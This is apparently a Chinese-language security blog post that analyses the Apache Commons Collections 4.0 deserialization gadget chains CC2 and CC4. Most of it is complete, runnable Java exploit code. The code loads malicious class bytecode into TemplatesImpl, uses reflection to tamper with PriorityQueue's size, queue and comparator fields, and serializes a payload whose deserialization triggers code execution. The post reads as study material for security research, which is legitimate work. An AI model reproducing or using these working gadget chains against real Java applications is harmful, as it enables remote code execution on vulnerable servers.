PriorityQueue CC2&CC4

CC2,4都是Common Collections 4.0版本下的反序列化漏洞。pom依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC4

这个版本特点在于TransformingComparator脑瘫的加上了Serializable接口,并在readObject乱搞

chainedTransformer#transform()可以用TransformingComparator#compare触发

PriorityQueue#siftDownUsingComparator调用了compare

向上一直查找用法,在PriorityQueue#readObject能链上整条链

于是有如下代码利用:

1
2
3
4
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer,null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1,transformingComparator);
serialize(priorityQueue);

但是运行并没有成功利用,在heapify处打上断点

发现size=0,i初始值为-1,进不了for循环。

这里有两种方式解决

反射修改size

这里可以反射修改size

1
2
3
4
5
6
7
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer,null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1,transformingComparator);
Field size = PriorityQueue.class.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
serialize(priorityQueue);

不过会报尝试访问数组中不存在的索引。

我是改字段大王。错误发生在序列化时,依次序列化queue数组元素,但越界读取,再反射修改queue就完事。

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4PriorityQueue {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesClass}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer,null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1,transformingComparator);
Field size = PriorityQueue.class.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
Object[] array = new Object[]{1,2};
Field queue = PriorityQueue.class.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,array);
serialize(priorityQueue);
unserialize("cc6.ser");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

add添加

也可以向queue add进元素,进而调用offer对size进行添加。

但是offer方法里的siftUp会再次调用到chainedTransformer。有点类似URLDNS了,需要add前添加不需要的comparator,add后再修改,防止误调用

1
2
3
4
5
6
7
8
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer,null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1,new TransformingComparator<>(new ConstantTransformer<>(1)));
priorityQueue.add(1);
priorityQueue.add(2);
Field compareField = PriorityQueue.class.getDeclaredField("comparator");
compareField.setAccessible(true);
compareField.set(priorityQueue,transformingComparator);
serialize(priorityQueue);

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4PriorityQueue {
public static void main(String[] args) throws Exception {
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesClass}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer,null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1,new TransformingComparator<>(new ConstantTransformer<>(1)));
priorityQueue.add(1);
priorityQueue.add(2);
Field compareField = PriorityQueue.class.getDeclaredField("comparator");
compareField.setAccessible(true);
compareField.set(priorityQueue,transformingComparator);
serialize(priorityQueue);
unserialize("cc6.ser");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

CC4特点在于没有特点。勉强说特点就是CC4.0版本能用,而且没用到LazyMap

CC2

CC2特点在于去掉了Transformer数组,有些中间件,Shiro,Tomcat传数组可能会有传输问题。

不用Transformer数组,chainedTransformer也砍掉了。

CC2用到了TemplatesImpl#newTransformer方法,之前的CC3我们是用TrAXFilter构造函数去触发的newTransformer。

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesClass}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

该文的完整代码1也给出了能直接InvokerTransformer调用newTransformer

https://godownio.github.io/2024/08/01/duo-lu-jing-templatesimpl-cc3/#%E7%9B%B4%E6%8E%A5%E8%A7%A6%E5%8F%91TemplatesImpl-newTransformer

但是当时不知道怎么向InvokerTransformer.transform传参数,只知道通过chainedTranfromer链式。

现在可以用TransformingComparator.compare触发transform方法,并且可以向transform传参。于是可以省去数组(其实我们不用这个,直接反射改InstantiateTransformer的值也能省去数组)

现在我们需要构造这个:

1
InvokerTransformer.transform(TemplatesImpl)

用TransformingComparator.compare传参

obj1,obj2来自下面函数的c,queue[right]。这是个堆排序算法。我们全传TemplatesImpl恶意字节码

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception{
byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class"));
TemplatesImpl templatesClass = new TemplatesImpl();
Field[] fields = templatesClass.getClass().getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
if (field.getName().equals("_bytecodes")) {
field.set(templatesClass, new byte[][]{code1});
} else if (field.getName().equals("_name")) {
field.set(templatesClass, "godown");
} else if (field.getName().equals("_tfactory")) {
field.set(templatesClass, new TransformerFactoryImpl());
}
}
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer,null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1,new TransformingComparator<>(new ConstantTransformer<>(1)));
priorityQueue.add(templatesClass);
priorityQueue.add(templatesClass);
Field compareField = PriorityQueue.class.getDeclaredField("comparator");
compareField.setAccessible(true);
compareField.set(priorityQueue,transformingComparator);
serialize(priorityQueue);
unserialize("cc6.ser");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

ysoserial给出的链子用的toString先占位,避免误触发,我这里用的new ConstantTransformer<>(1)

其他的CC链懒得分析了,都一样。

其实不用刻意去记链子,分析完了都记不住的,很正常,需要的时候再去翻链子图,自己重新构造起来也很快。

上一篇:
CTF 快速查ban
下一篇:
基于类加载的多路径TemplatesImpl CC3